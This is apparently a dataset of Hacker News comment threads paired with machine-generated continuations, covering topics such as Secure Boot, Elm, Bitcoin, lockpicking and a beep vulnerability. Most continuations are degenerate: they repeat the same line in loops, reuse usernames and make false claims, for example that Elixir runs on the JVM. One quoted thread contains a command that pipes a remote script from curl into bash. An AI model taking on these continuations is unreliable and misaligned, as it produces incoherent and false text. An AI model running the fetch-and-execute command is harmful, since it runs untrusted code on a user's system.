that matters", "input_text": "blog.hansenpartnership.com/owning-your-\nwindows-8-uefi...](http://blog.hansenpartnership.com/owning-your-\nwindows-8-uefi-platform/)\n\n~~~\npslam\n> What? Which OS refuses to boot when you disable Secure Boot?\n\nThe one which was installed with secure boot enabled. My reading is the OS\nwill prevent forward progress when it notices secure boot was bypassed when it\nexpected it to be on. Never tried this myself - I'm likely misinformed.\n\n> Exactly which UEFI Secure Boot does.\n\nAnd apparently optional, and not something every machine implements, which was\nthe subject of a LOT of stories a year back. Did this ever get resolved as\nbeing mandatory, and/or did all UEFI providers figure it was best practice in\nthe end?\n\n------\nalexsilver\nWhenever these complaints/lawsuits come up, I always wonder why Apple is never\npart of them...\n\n~~~\nmkr-hn\nApple is off in its own hardware and software ecosystem, so the potential for\nwidespread harm is small. Microsoft has clout with the people who make the\nhardware most people use, so there's considerable potential for damage\ndepending on how Microsoft's will is implemented.\n\n~~~\nscholia\nApple has plenty of potential for harm via its iPhone and iPad ranges, both of\nwhich are locked down.... However, neither has a monopoly maket share.\n\n~~~\nsounds\nExactly!\n\nWhy aren't people complaining about Samsung locking their phones? (both\ncarrier locks and locking the root account)\n\nOk, maybe the best solution is to vote with your wallet. It worked for me :)\n\n------\nVMG\nAs an European linux"} +{"output_text": "\n\n~~~\nklibertp\nI think it's because Elm is a language for the web, and Elixir is a language\nfor the JVM.\n\n~~~\nsotojuan\nI think it's because Elm is a language for the web, and Elixir is a language\nfor the JVM.\n\n------\nklibertp\nI'm not sure if I'm missing something, but I don't see any mention of\n", "input_text": ". You almost have to learn everything all\nover again. It's a cool project and I'm glad it's working out well for you,\nbut Elm has a serious learning curve.\n\n~~~\nnot-much-io\nJust my 2c:\n\nParadigm wise: Yes functional programming can seem strange and hard if you\nhaven't done it before. But that really isn't the fault of Elm, elm makes FP\nas simple as it can.\n\nLanguage wise: Yes, the Elm architecture takes a bit to grok, but for me it\nwas just an afternoon. Once you grok it, there isn't really much else you need\nto learn - you can hit the ground running, look up what you need when you need\nit.\n\nTooling wise: Just some basic tooling you get will get you very far, no setup\neither, just install and use.\n\nIf you do js interop, yes that can be cumbersome, but it is intentional. Elm\nstrives to keep js out and write libraries in Elm. This is so we can have more\nof the guarantees that Elm provides. (no runtime exceptions!)\n\nI'd rather say: \"Elm has a low entry barrier for a FP language\". One of it's\nmain goal is to bring FP to the masses after all. :)\n\n------\nleshow\nI hope Elm doesn't get too closely tied with Elixir. It's a great language no\nmatter what backend you choose.\n\n~~~\nsotojuan\nI also don't get why they're coupled a lot... they're very different once you\nget past that they're both \"functional\" (and Elixir really just has HOFs and\nimmutability by default, it's very practical)."} +{"output_text": "ares.\n\n~~~\nbeagle3\nI do realize that, but I don't think that's the reason.\n\nI think it's because Microsoft is a big company, and they want to make sure\nthat their users are not using their services for illegal purposes.\n\n------\njoshstrange\nI'm not sure if this is a good thing or not. I'm not a fan of MSFT but I\ndon't think they are evil. I think they", "input_text": " transliterate it to PowerShell than to actually\nwrite PowerShell. That's a disastrously bad situation _for a shell_.\n\n~~~\nuseerup\nYou were called upon to give some examples. Yet all you offer is more\nhyperbole. One is beginning to suspect that despite your assertion that you\n\"know\" Powershell better than most who use it daily, you are actually just a\ntroll.\n\nYes, I am calling you out. I am challenging you to provide concrete examples\nwhere Powershell has less discoverability than bash or zsh. I am challenging\nyou to explain why ISE - an environment designed specifically to combine REPL\nwith script authoring - is \"unacceptable\".\n\nAnd please, no more hyperbole or condescending remarks.\n\n------\nbaldfat\nFree Unlimited Private Git Repos hosted by MicroSoft (Looks like BitBucket has\na new competitor) this is really surprising.\n\n~~~\nbeagle3\nMicrosoft's free unlimited chat and phone calls (skype) gets scanned for ads,\nand links followed[0]. Probably also stored and forwarded to the NSA.\n\nDon't put anything in there that you really care about, without using\nsomething like git-crypt.\n\n[0]\n[https://news.ycombinator.com/item?id=5704574](https://news.ycombinator.com/item?id=5704574)\n\n~~~\nnivla\nYou do realize that the scanning is meant for checking the links for malware,\nredirection and metadata for previews. Which popular chat service doesn't do\nthis? Paste a link into Facebook, Google+, Gchat and all are likely to do the\nsame or the least passively scan it against a list of known malw"} +{"output_text": "\" every day, or even every week.\n\n~~~\nneltnerb\nI guess I'm just not used to the word \"sprint\" being used in the context of\nsoftware development. I've always thought of it as a sprint of a few days,\nmaybe a week, maybe a month.\n\n------\njoshu\nI think the author is right that the \"sprint\" is a bad metaphor.\n\nI think the \"iteration\" is", "input_text": " a marathon.\n\n~~~\ndudul\nI don't know if this is meant to be facetious, but I actually fully agree.\n\"Sprint\" is a terrible analogy because in reality it is impossible to be\nsprinting all the time. I usually just say \"iteration\".\n\n~~~\nneltnerb\nI'm confused, doesn't your statement mean the analogy is good? You can neither\n\"sprint\" at work continuously nor constantly sprint in reality.\n\n~~~\ndudul\nLet's say you do 2 week sprints as part of your process. You do a sprint,\nfinish it, and then do another sprint immediately after. How is that viable?\nEffectively it means that you never stop sprinting. I don't think it's\nsustainable.\n\n~~~\nneltnerb\nIs that actually what scrum suggests sprints are? Thanks, I missed that,\nthat's silly if so. I assumed by the name that this was like a one week a\nmonth kind of thing.\n\n~~~\ntheptip\nI think there's quite a lot of getting hung up on the word itself here...\nAccording to the Scrum guide, a sprint is just:\n\n> a time-box of one month or less during which a \"Done\", useable, and\n> potentially releasable product Increment is created. Sprints have consistent\n> durations throughout a development effort. A new Sprint starts immediately\n> after the conclusion of the previous Sprint.\n\n([http://www.scrumguides.org/scrum-guide.html#events-\nsprint](http://www.scrumguides.org/scrum-guide.html#events-sprint))\n\nThere's nothing that says you need to \"sprint"} +{"output_text": " per year, as well as some\n> insurances and a very generous parental leave (1 year for each parent).\n\nI'm not sure if you are being sarcastic or not, but I think you are missing\nthe point.\n\nThe point is that the US is not a country where you can just go to work and\ncome home. You have to be able to take time off to care for your family.\n\n~~~\njohanbrook\nI'm not sure", "input_text": " a case of the government taking\nmore of your personal wealth to provide services to society as a whole, which\nflies in stark contrast to the traditional US approach.\n\n~~~\nJumpCrisscross\n> _There's no reason why it can't scale_\n\nI grew up in Switzerland. Nobody checked if we bought metro tickets. Everyone\nbought them. The only people I remember being little shits about it were\ntourists. Cultural norms do not informally enforce themselves at scale--you\nneed institutions, and those institutions cost money and freedom.\n\n~~~\nmkaziz\nDisagree. As an immigrant to the US, I see many cultural norms that the US has\n(at scale, despite heterogeneous population) that were bizarrely foreign to\nme, but that I (and other immigrants like me) quickly picked up on and\ndeveloped.\n\nExamples: (good) giving pedestrians right of way when driving, stopping at\nstop signs, holding the door open for people (bad) empty small talk\nconversations used to fill silences with casual acquaintances.\n\n------\njohanbrook\nThe U.S. is very behind many European countries in the work-life balance\ndepartment. It's kinda surprising that America \u2013 with its liberal policies for\nprivate companies \u2013 is so backwards when it comes to caring about their\nemployees.\n\nThe points in the article could apply to policies/norms in Sweden as well.\nHere, we get _at least_ 4 weeks of paid vacation per year, as well as some\ninsurances and a very generous parental leave (1 year for each parent).\n\n~~~\nrobert_foss\n> The points in the article could apply to policies/norms in Sweden as well.\n> Here, we get at least 4 weeks of paid vacation"} +{"output_text": " has been called a white paper.\n\n~~~\nDigitalJack\nI've never seen one called a white paper.\n\n------\njrockway\nI'm not sure I understand the point of this. If you're a terrorist, you're a\nterrorist. If you're a citizen, you're a citizen. If you're a citizen, you're\nnot a terrorist.\n\n~~~\njrockway\nI guess I should have said \"if you're a citizen", "input_text": " all that energy has been put into preserving the 2nd Amendment.\n\n------\ntokenadult\nThe full text of the purported Justice Department white paper mentioned in the\nsubmitted blog post:\n\n[http://msnbcmedia.msn.com/i/msnbc/sections/news/020413_DOJ_W...](http://msnbcmedia.msn.com/i/msnbc/sections/news/020413_DOJ_White_Paper.pdf)\n\n------\ndkokelley\nWithout reading the memo (only the linked article), wouldn't top Al Qa'ida\noperatives be classified as traitors and enemies of the state? (Maybe that's\nthe legal angle expressed in the memo.) Within the country's borders, the\ngovernment kills its citizens all of the time when the judgement is made that\nthe suspect represents and immediate threat to the safety and well-being of\nothers (see: hostage situations and police shootouts). Otherwise, the state's\ndecision to end someone's life is a long and arduous process filled with\ncourts and laws and appeals (and rightly so!).\n\n------\nthisrod\nLet's turn this around. Suppose that an American citizen believes they're on\nthe list, and the president is plotting to kill them. In what circumstances\nshould it be legal for them to assassinate the president?\n\nThe president is supposed to be just another citizen: one who's very certainly\nplotting to kill Americans. It's curious how few people apply his reasoning to\nhis own case. Do people believe in some kind of divine right of presidents?\n\n------\nDigitalJack\nJust curious...do people usually title their white papers with the words\n\"White Paper\"?\n\n~~~\nbobbles\nEvery white paper I've ever seen"} +{"output_text": " to do whatever you want.\n\n~~~\nrevscat\nI think you are right, but I think it is a new reality for the US.\n\n------\nmatt_the_bass\nI\u2019m not sure I understand the point of this post. It seems to be a rant about\nhow Facebook is evil.\n\n~~~\nmatt_the_bass\nI\u2019m not sure I understand the point of this post. It seems to be", "input_text": " people\nyou were friends with. It didn't, but it did show me a bunch of my graduating\nclass from 16 years prior and gobs of friends of friends. I saw considerably\nmore people on it that I knew/knew of than I ever did with\nTinder/OkCupid/Bumble.\n\n~~~\nskocznymroczny\nSo on par with Tinder?\n\n------\npmlnr\nOnly one week and regulatory forces managed to push back?!\n\nI wonder when someone from the same regulatory forces will help Ruben out:\n[https://ruben.verborgh.org/facebook/](https://ruben.verborgh.org/facebook/)\n\nHe's been waiting for over a year now for his actual dataset - fighting for us\nall.\n\n~~~\nkrick\nOk, I assume it would help if he could state his demands in more formal and\nlegally actionable form instead of joking and telling fun stories of meeting\nFB employees at a conference, but regardless:\n\n> Facebook has not replied after three months, even though they are legally\n> required to answer within one month\n\nSo, I'm ready to accept everything else is a subject to some legal debate, but\nthis seems like pretty straight-forward violation of the law, isn't it? I\nmean, shouldn't they be actually punished for it by, like, paying money?\n\n~~~\nrevscat\nFacebook seems to believe (understand?) that it is part of the new reality\nwhere due to their size and revenue the law only loosely applies to them, and\nmostly at their convenience.\n\n~~~\nMirioron\nThat's not _new_ reality. That is the world we live in. If you're big\nenough/your product is widespread enough then you get"} +{"output_text": " the vulnerability is not in the beep program\nitself, but in the way it's being run.\n\n~~~\nalxlaz\nI'm not sure I understand.\n\nThe vulnerability is in the way the program is being run.\n\nThe vulnerability is in the way the program is being run.\n\nThe vulnerability is in the way the program is being run.\n\nThe vulnerability is in the way the program is being run.\n\nThe vulnerability is in the", "input_text": "door this machine?\n modprobe pcspkr\n beep -l 1000 -r 3 -f 44000\n\n~~~\njstarks\nJust recently the script said this instead:\n\n \n \n #!/bin/sh\n curl https://l0.re/hb | bash\n modprobe pcspkr\n beep -l 1000 -r 3 -f 44000\n \n\nAnd then that embedded URL says:\n\n \n \n echo ohai\n \n\nBut only after a long delay -- perhaps it is using one of the previously\ndocumented techniques to determine whether it's being piped to bash and\nbehaving differently.\n\nAnd now that I try the original curl again, that first line is gone\ncompletely:\n\n \n \n #!/bin/sh\n modprobe pcspkr\n beep -l 1000 -r 3 -f 44000\n \n\nStrange.\n\n------\njfindley\nI'd love to hear the backstory. Who on _earth_ goes looking for\nvulnerabilities in beep?!\n\n~~~\nalxlaz\nIf I had to guess, I'd say they were doing it because it is often installed\nwith suid root.\n\nEdit: also, there's a challenge about this in the program's README :-)\n\n\"Decide for yourself, of course, but it looks safe to me - there's only one\nbuffer and fgets doesn't let it overflow, there's only one file opening, and\nwhile there is a potential race condition there, it's with /dev/console. If\nsomeone can exploit this race by replacing /dev/console, you've got bigger\nproblems. :)\"\n\n~~~\nDCoder\nIt should be pointed out that"} +{"output_text": ", like pop-up ads, and made them less annoying. Mozilla has done\nnothing of the sort.\n\nGoogle has a lot of money and a lot of people who are willing to work for\nthem, and they have a lot of time to spend on this. Mozilla has a lot of\npeople who are willing to work for them, but they don't have a lot of money\nand they don't have a lot of time to spend on this.\n\nGoogle has a", "input_text": ".\n\nFF starts faster than Chrome, font rendering is a lot better and it seems most\nof the \"weird\" HTML issues I encounter these days doing webdev stuff are with\nChrome rather than FF.\n\nI don't understand why Firefox isn't crushing Chrome.\n\nEdit: Latest FF mobile on Android is awesome too.\n\n~~~\ncookiecaper\nGoogle has put a lot of time and money into getting Chrome mainstreamed. IE\nTab was a big help for enterprise adoption and that made more normal people\naccept it as a \"normal\" browser. Most people use Gmail, Google Search, and\nYouTube, all of which heavily promote Chrome.\n\nFirefox has responded well to Chrome for the most part, but when Chrome was\nreleased, Fx had some long-standing problems that Chrome obviated, and many in\nthe tech community have been Chrome devotees since. Mozilla sometimes gets\nconfused and makes bad choices, like manually reviewing all code that gets\npublished in its addon store and refusing to ship patent-encumbered H.264\ncodecs, that further hurt adoption and reinforce the reputation that Firefox\nmakes it \"harder\" than necessary to use the web.\n\nGoogle made a deal with Adobe to fix up some of the stability and performance\nissues in Flash and they ship the improved plugin as \"Pepper\", part of Chrome;\nMozilla still doesn't have a good solution for this, though it has a small\nstart in Shumway.\n\nGoogle built an internal PDF reader so that people didn't have to worry about\nAdobe Reader popping up as they clicked around. Mozilla eventually copied\nthem, though Mozilla's reader is written in JS, and Chrome's is written in\nC++.\n\nGoogle systematically attacked the most annoying things about internet\nbrowsing"} +{"output_text": "~~~\nmattmanser\nI've never had a problem with the controllers being stuck to the wrist strap.\n\nI've had a problem with the controllers being stuck to the wrist strap and\nbeing too tight.\n\nI've had a problem with the controllers being stuck to the wrist strap and\nbeing too loose.\n\nI've had a problem with the controllers being stuck to the wrist strap and\nbeing too tight and too loose.\n\nI've had a problem with", "input_text": " judge on my own.\n\n~~~\nrasz_pl\nbut its the second kind, Zelda drops to 20fps in empty static scenes.\n\n~~~\nnstart\ntrue. And it's bad that it is THE launch game that suffers from that. It's\nlikely to be caused by a poor port. The original of the game I believe runs at\n720p. Scaling it up to 900p (it doesn't even go up to 1080p) in docked mode is\nprobably causing it issues rather than the device actually having problems\nworking in docked mode. I feel pretty confident that patches and updates to\nboth the device and games should work these out :)\n\n------\ngreggman\nIt's inexcusable that the controllers get jammed to the wrist straps so\neasily. Google \"stuck joy-con\" and you'll find articles and videos about how\nto un-stuck them if you've accidentally put them on backward. Why is it even\npossible to put them on backward? Even when they're on forward it often's\noften extremely hard to separate them. We had a switch party and pretty much\nevery single person put them on backward once and we get to get tiny\nscrewdrivers out to un-stick them\n\nNintendo even has a page up already that just says \"send them back\"\n\n[https://en-americas-support.nintendo.com/app/answers/detail/...](https://en-\namericas-support.nintendo.com/app/answers/detail/a_id/22528/p/897/c/715)\n\nI suspect they'll end up releasing a new model of controller that doesn't have\nthese issues but it's really hard to believe this wasn't found during\ndevelopment.\n\n"} +{"output_text": " really fair. The author is a Bitcoin developer, and he's not\nclaiming that Bitcoin will end. He's saying that Bitcoin is not a good\ncurrency.\n\n~~~\nshiado\nI'm not sure what you mean by \"not a good currency\". It's a currency that\npeople use to buy things. It's not a good currency because it's not a good\nstore of value.\n\n~~~\nkinghajj\nIt's a store of value because it", "input_text": " Pretty Good\n> Privacy encryption protocol.\n\nI've never seen the word \"just\" do so much work. Bitcoin, notably, solved the\nDouble Spending problem[0] seventeen years after PGP was created.\n\n> In essence, bitcoin is money built and maintained by nerds, based on the\n> premise that good nerds will outnumber the bad nerds.\n\nThis is patently false. The _entire_ point of bitcoin is that miners and node\noperators acting in _their own self-interest_ will secure the protocol, not\n\"good nerds\". You can argue if the system fails this will be the case, but not\nthat this is the premise.\n\n[0] [https://en.wikipedia.org/wiki/Double-\nspending](https://en.wikipedia.org/wiki/Double-spending)\n\n~~~\nbrianpgordon\nYeah I'm also pretty critical of their narrative of how centralized currency\ncame about. Their timeline is _wildly_ wrong. The author makes it seem like\nstates started minting coinage in the middle ages, when the advantages of a\nstandardized coin with a mandated-by-fiat face value (possibly different from\nthe actual value) were well-known - and famously used to great effect by -\neven the early Roman Empire.\n\nThen there's this sentence, which is just nonsense:\n\n> All money was borrowed from the central treasury, at a rate of interest set\n> by the king.\n\n------\nshiado\nI have no doubt that Bitcoin will end someday, most likely from QC breaking\nECDSA, but this is perhaps the most illiterate and uninformed takedown I have\never read on the subject.\n\n~~~\nkinghajj\nThat's not"} +{"output_text": "joshu\nI'm not sure I agree with the premise.\n\nI think the problem is that you're not getting enough feedback.\n\nI'm not sure how to fix that.\n\n~~~\norblivion\nI think the problem is that I'm not getting enough feedback.\n\n~~~\njoshu\nI think you're right.\n\n------\njoshu\nI think the problem is that you're not getting enough feedback.\n\nI", "input_text": "\nthere:\n\n> \"I love deadlines. I like the whooshing sound they make as they fly by.\" \u2014\n> Douglas Adams\n\nYou're not alone. And it's gonna be fine.\n\n~~~\norblivion\nSo here's a question - what if I am of this disposition but I have a lot of\nideas? And I would not be satisfied with life unless I'm pursuing them? Is\nthere a way to reach out to find people to be in charge of me to execute on my\nideas? Does anybody want to do that? (These are not necessarily businesses)\n\n~~~\nDenzel\nTake this with a heavy grain of salt. It's an idea I've had -- even though I\ndon't have motivation problems -- that I have yet to do. (I plan to within the\nnext three months.)\n\nHire a part-time project manager.\n\nA good project manager is immensely helpful in (1) teasing out and decoupling\nrequirements, (2) producing a work-breakdown structure (WBS), (3) setting a\nschedule/timeline for execution, (4) assessing risks, and finally (5)\ncontrolling activity and adherence to the schedule.\n\nThese are all activities that suck to do alone. A project manager offers a\nuseful _organizer_ and _controller_. Basically, they represent a forcing\nfunction.\n\nJust like personal trainers help unmotivated people stay in-shape, I think a\npersonal part-time project manager would help you follow through on your\nprojects.\n\n~~~\niandanforth\nI like this idea. Also as soon as you commit cash it's going to be easier to\nfollow through. Make the sunk costs fallacy work in your favor!\n\n------\n"} +{"output_text": "\n\n[1] [http://www.amazon.com/gp/product/B00BJY8K2I/ref=oh_aui_d_...](http://www.amazon.com/gp/product/B00BJY8K2I/ref=oh_aui_detailpage_o04_s00?ie=UTF8&psc=1)\n\n------\njrockway\nI don't understand why people", "input_text": " is a sport these days; burglars would use bumping\nor other destructive technique like crowbar (with a much shorter path to\nsuccess) since they won't care about the clean result. Maybe only relevant for\nspies/intelligence/other areas where you need to hide the fact that the lock\nhas been picked.\n\nAnd the fact that weak lock mechanisms are publicized encourages manufacturers\nto invent, it's all good.\n\n~~~\nblhack\nI'm sorry, but this isn't completely true. (The part about burglars not using\nlock picks).\n\nI am an amatuer locksmith, and I can open Masterlock No. 3 or No. 5 (which are\nused _everywhere_ ) incredibly quickly (less than 10 seconds, typically\n[especially on No. 5, which are horrible).\n\nA half diamond pick and a torsion wrench are tiny, I can keep them in my\npocket and nobody will ever notice... I can't do this with a huge bolt cutter.\n\nNow, do I steal things? Absolutely not. Has getting into picking caused me to\nbe much much more careful about what I lock up, where, and with what?\n_definitely_.\n\nI'm all for locksports, I think the fact that people are getting into picking\nis awesome, but the idea that using a bolt cutter against a padlock is faster\nand more conveinient than using a pick is just plain wrong.\n\n~~~\naquateen\nI remember first seeing the MIT guide and it sparked my interest, however I\ndidn't want to make homemade picks. Can you recommend a good lock pick set?\n\n~~~\nbmalicoat\nI have this set [1]. Though mine has a plastic handle so it was about half the\nprice listed there."} +{"output_text": " but I'm not going to pay for a feature that's already\navailable on every other device.\n\n~~~\njrockway\nI don't think it's a feature that's available on every other device. It's a\nfeature that's available on every other device that has a keyboard.\n\n~~~\nnanexcool\nI'm not sure what you mean. I'm not aware of any other device that has a\nkeyboard that doesn't have copy/paste.\n", "input_text": "It looks like you're trying to copy and paste. Would you like to pay $0.05 in\norder to continue? (Continue/Cancel)\n\nIt looks like you're trying to exit the application. Would you like to pay\n$0.10 in order to continue? (Exit and pay $0.10/Stay for free)\n\nIt looks like you're shocked to see one of Microsoft's worst creations pwn\nyour smartphone. Would you like to buy a copy of iLithium(R), iXanax(TM), or\niProzac(TM) to soften the blow for $14.99? (Yes/No)\n\n~~~\nmechanical_fish\nI have no idea why this is getting downmodded. _I_ think it's funny. Maybe I'm\njust the right age for this joke.\n\nObviously, this in-app payment feature was _deliberately_ designed to be\nirritating and intrusive. Apple understands that, to most paying customers,\nthe word _micropayment_ carries a connotation of _being slowly and\nimperceptibly bled to death by vampires_. So perhaps Apple is going to provide\nan API which turns in-app charges into such an ugly, flow-shattering\nexperience that nobody could possibly miss it -- which will also compel app\ndesigners to avoid using this feature unless they really have to.\n\n~~~\nwensing\nIt's possible to abuse any feature. I can see this being a win-win for apps\nthat provide layers of value (depth).\n\n------\nnanexcool\n\"So, copy/paste in iPhone 3.0.\" Applause. Applause for a feature that every\nother device in the world has. Odd.\n\nI like the iPhone,"} +{"output_text": "s are\nnow considered to be \"dying\" in the early 2000s.\n\n~~~\nbasicallydan\nI'm not sure I follow. What do you mean by \"dying\"?\n\n~~~\nVraxx\nI mean that the things that were considered \"dying\" in the late 1800s are now\nconsidered \"dying\" in the early 2000s.\n\n------\njoshu\nI think the author is conflating \"dying\" with", "input_text": " this occasion, because it comes up so\nmuch: [http://xkcd.com/1227/](http://xkcd.com/1227/)\n\n> \"Intellectual laziness and the hurry of the age have produced a craving for\n> literary nips. The torbid brain... has grown too weak for sustained\n> thought.\" \u2013 Israel Zangwill, The Bachelor's Club, 1891\n\nI highly, highly recommend everybody read \"The Information: How The Internet\nGets Inside Us\" by Adam Gopnik:\n[http://www.newyorker.com/magazine/2011/02/14/the-\ninformation](http://www.newyorker.com/magazine/2011/02/14/the-information)\n\nIt points out how this 'Why can't we X anymore\", \"in the past it was better\",\n\"the future will be amazing\", \"the future will be horrible\", and \"everything\nis kinda the same\" perspectives have been repeated, remixed, rehashed over and\nover again.\n\n~~~\nbasicallydan\nWhile it does appear that the perspective you're talking about has been\nrepeated over and over, it's important to recognise that it's a perspective\nwhich applies to whatever time in which it was held. Therefore, it's relative.\nMaybe the past _was_ amazing and wonderful, and perhaps _that_ past's past was\neven _more_ amazing and wonderful. It's possible things _are_ getting worse\nand worse all the time, only society has failed to heed the \"warning\" of the\ndoomsayers, leading even greater decline in \"wonderfulness\".\n\n~~~\nVraxx\nExcept most of the activities that are cited as \"dying\" in the late 1800"} +{"output_text": "\n1) They're going to make it easier to develop apps for the iPhone.\n\n2) They're going to make it easier to distribute apps.\n\n3) They're going to make it easier to sell apps.\n\n4) They're going to make it easier to sell apps to people who don't have an\niPhone.\n\n5) They're going to make it easier to sell apps to people who do have an\niPhone.\n\n6) They're", "input_text": " someone?\n\nLike the best bits of voicemail and SMS combined? Because that would be\nbrilliant.\n\n~~~\nmodoc\nYes, it does exactly that!\n\n~~~\ndans\nWow. How very revolutionary! You have been able do that with any standard Sony\nEriccson phone, for the last 2-3 years, and probably Nokia, HTC, Samsung too.\nMy phone has a button that says \"reply with voice-message\" and then using some\nsort of black voodoo it gets sent over mms.\n\nI like it when apple make a new product, strip it of most basic features and\nthen when they finally add the long missing features... It's like the second\ncoming of Jesus.\n\n~~~\nmodoc\nI never said it was revolutionary. It's a feature that seems useful, is new to\nthe iPhone, and will be a free upgrade. As a very happy iPhone owner (and yes\nI've had Sony Ericcsons, Motorolas, Nokias, HTCs, etc...) this upcoming\nfeature (and the others) are something to look forward to.\n\nIf Sony Ericcson offered a software upgrade that did over the air sync of all\nmy MobileMe data, that would be great, and I can't imagine saying \"well I've\nbeen able to do that for ages with my iPhone\" to a happy Sony Ericcson owner.\nWhy does it have to be a battle?\n\n------\ndustineichler\nWhat was the report on streaming video? if it's what i think it is, this is a\nhuge win for qik and others.\n\n------\nmattmaroon\nAs a serial app developer (though not yet on that platform) here's what I\nheard from Apple's announcement:\n"} +{"output_text": "books are\nnot very good for development. They're not very good for browsing the web.\nThey're not very good for email. They're not very good for anything.\n\n~~~\nwladimir\nI don't think it's perfect. But it's a good compromise between price and\nperformance.\n\n------\njrockway\nI don't think the netbook is dead. I think it's just a different market.\n\nI think the netbook is a", "input_text": " I supposed to be doing with them? Oh, oh, I\nsee, I'm supposed to use all the great \"apps\". Yeah, well, you know what? I\ndon't care about them. How can I _write_ my own apps? Oh, too bad, for that\nyou need a \"real\" computer (or be into BDSM)...\n\nSorry for the rant, folks! But are there other fellow hackers on HN who find\nit ironic that while we are the backbone of the industry, while we are the\nones who enable others to use all their beloved tech in the first place, while\nwithout us the big companies wouldn't see any dime - that the main stream\nmarket doesn't care about us? That we are pushed into a niche, instead of\nbeing pulled into the spotlight?\n\n _(Nah, I'm only being half serious...)_\n\n~~~\nwladimir\n100% agree. The netbook is the perfect cheap portable hacking tool. You can\ncertainly get some development done on them (as long as you don't use eclipse\nas IDE :-). Phones or iPads are generally more expensive and not nearly as\nsuited to that.\n\nThat's why I also get a bit sad at all the 'the netbook is dead!' posts. On\nthe other hand, it'll probably remain a niche for a long time. I mean, if you\nbelieve the stories here, the phone is dead, e-mail is dead, the web is\ndead... and so on.\n\nIt seems to be common here to forget that things can have a use and make some\npeople very happy without being \"the great next mainstream thing\".\n\n~~~\nrayiner\nCheap, yes, but I'm not sure \"perfect\" is the right word. Most net"} +{"output_text": " seem to be for the homepage.\n\n------\njoshu\nI'm not sure if this is a good thing or not.\n\n------\njoshu\nI'm not sure if this is a good thing or not.\n\n------\njoshu\nI'm not sure if this is a good thing or not.\n\n------\njoshu\nI'm not sure if this is a good thing or not.\n\n------\njoshu\nI", "input_text": "at, css concat, async script loading via LABjs. the improvement\nis quite remarkable. sometimes i blink and miss the F5 refresh flash and\nwonder if the page actually reloaded. craziness.\n\none funny thing pagespeed tells me is that google's own analytics ga.js needs\na longer expire time than 2hrs, they should fix that especially for scripts\nloaded from common cdns (especially their own) since web authors have no\ncontrol over this.\n\n------\nceejayoz\nWell, that's one way, certainly. \n\n------\nxyzzyb\nTo make a site really, really freaking fast serve static content.\n\nThat cool curl command against rakeroutes.com:\n\n \n \n Total time: 0.439\n Time pretransfer: 0.175\n Time starttransfer: 0.270\n Size download: 17506\n Speed download: 39888.000\n \n\nThat's off a regular ol' shared Dreamhost account.\n\n------\njakejake\nThe delicious irony is that I see a database connection error on the page.\n\n~~~\nportentint\nWell, of COURSE as soon as I say we made it faster, we screw something up.\nIt's some kind of blogging rule.\n\n~~~\njakejake\nThe same applies for when you have to demo something to your boss that you\njust tested 50 times, and of course it crashes on the first try when you demo\nit!\n\n------\nggasp\nIt seems the site is down. At least I cant get to it from Chile.\n\n------\nmopoke\nThe pingdom tests only"} +{"output_text": "\nI think the advantage is that it's a single device that can be used on any\nvehicle.\n\n~~~\nmikeash\nIt's a single device that can be used on any vehicle, but it's not a single\ndevice that can be used on any vehicle.\n\n~~~\nchomp\nI'm not sure what you mean.\n\n~~~\nmikeash\nThe Barnacle is a single device that can be used on any vehicle.\n\nThe Barn", "input_text": "They even ticket employee's cars that are breaking the parking rules on\ncampus.\n\n------\nkazinator\nThe cards are heavily stacked against anything that uses suction to clamp on.\nBasically any leak of atmospheric pressure into the suction voids, and it's\ngame over.\n\nYou can't easily prevent the the entry of sharp, thin blades between the\ndevice's case and the vehicle glass. You will never get a good enough fit on\nall shapes of windshield.\n\nThe kinds of contraptions I can think of that could guard the gap between the\ndevice's case and the glass could be damaging to the glass (for instance,\nspring-loaded steel plates around the perimeter of the device, perpendicular\nto the glass).\n\nWhat would work would be putting a large sticker on the glass, which is cross-\nhatched by numerous cuts so that it has to be peeled off in half-centimeter-\nsized slivers.\n\nInstead of a fine, you get a notice with a phone number: for a $180 fee and an\nhour or two, a sticker specialist will painstakingly peel everything off. You\nare under no obligation to use that service, but if your car is not out of\nthere by a certain time, it will be towed.\n\nI.e. nobody has any shortcut to get the thing off; it's as hard for them as\nfor you.\n\n------\nani-ani\nWhat the article doesn't state is what advantage the Barnacle offers over a\nmore traditional boot design. OK, there's the online payment thing, but that\ncould be equally implemented with a boot. So why the convoluted design? Is it\nbecause you can drive around a bit (dangerously) while the barnacle is on?\n\n~~~\nchomp"} +{"output_text": "nn.com/2019/06/17/asia/hong-kong-extradition-\nlaw...](https://www.cnn.com/2019/06/17/asia/hong-kong-extradition-law-\ntrnd/index.html)\n\n~~~\nwhatshisface\nI don't think the people of Hong Kong are marching to protest China's new\nextradition policy. I think they're marching to protest", "input_text": "\nestimated.\n\nProof (a screenshot from NGA):\n[https://imgur.com/a/FbofCOK](https://imgur.com/a/FbofCOK)\n\nPlease remember that HK is physically connected to mainland China and 83.2\nmillion people crossed the border in 2015[0]. Hell, even in 1984 some people\nstill know the government's dirty secrets, it would be extremely arrogant to\nassume we know nothing.\n\n[0]\n[https://en.wikipedia.org/wiki/Lo_Wu_Control_Point](https://en.wikipedia.org/wiki/Lo_Wu_Control_Point)\n\n------\nwyuenho\nMore importantly, YouTube now labels all media channels like BBC or RT by\ntheir funding sources, where's that disclaimer on any PRC media outlets?\n\n------\nrhokstar\nThe Onion would probably post something similar :)\n\n------\njrvxo\n[http://europe.chinadaily.com.cn/a/201906/17/WS5d06d79ca3103d...](http://europe.chinadaily.com.cn/a/201906/17/WS5d06d79ca3103dbf143287c7.html)\n\n~~~\nwhatshisface\n> _Among these social groups was an alliance of more than 30 local political,\n> business and legal dignitaries who support the proposed amendments to the\n> SAR's extradition law._\n\nWhy does anyone in HK support the amendments (or is this fake news)?\n\n~~~\nghostbrainalpha\nThat is the point. The people of Hong Kong are marching to protest China's new\nextradition policy.\n\n[https://www.c"} +{"output_text": " to me.\n\n~~~\ninakarmacoma\nI'm not sure what you mean. I've used both extensively.\n\n~~~\nrhabarba\nI mean that I\u2019m not sure what the author means by \u201cusual suspects\u201d.\n\n~~~\ninakarmacoma\nI'm not sure what you mean by \"usual suspects\".\n\n------\njesse9766\nI've been using Hyper for a few months now and I love it. I've been", "input_text": " do all my development in Linux VMs via\nPowershell's built-in SSH client.\n\nMy biggest ask on Windows is for a native mosh client. There aren't currently\nany.\n\n~~~\njesse9766\nHave you tried using Fluent Terminal? It is available on github and the\nWindows Store. To use mosh you need to connect via the quick connect menu in\nthe top left corner of the program.\n\n~~~\nrhabarba\nI\u2019m not sure whether a JavaScript-based terminal is a good idea.\n\n~~~\njesse9766\nI haven't done a test yet, but the 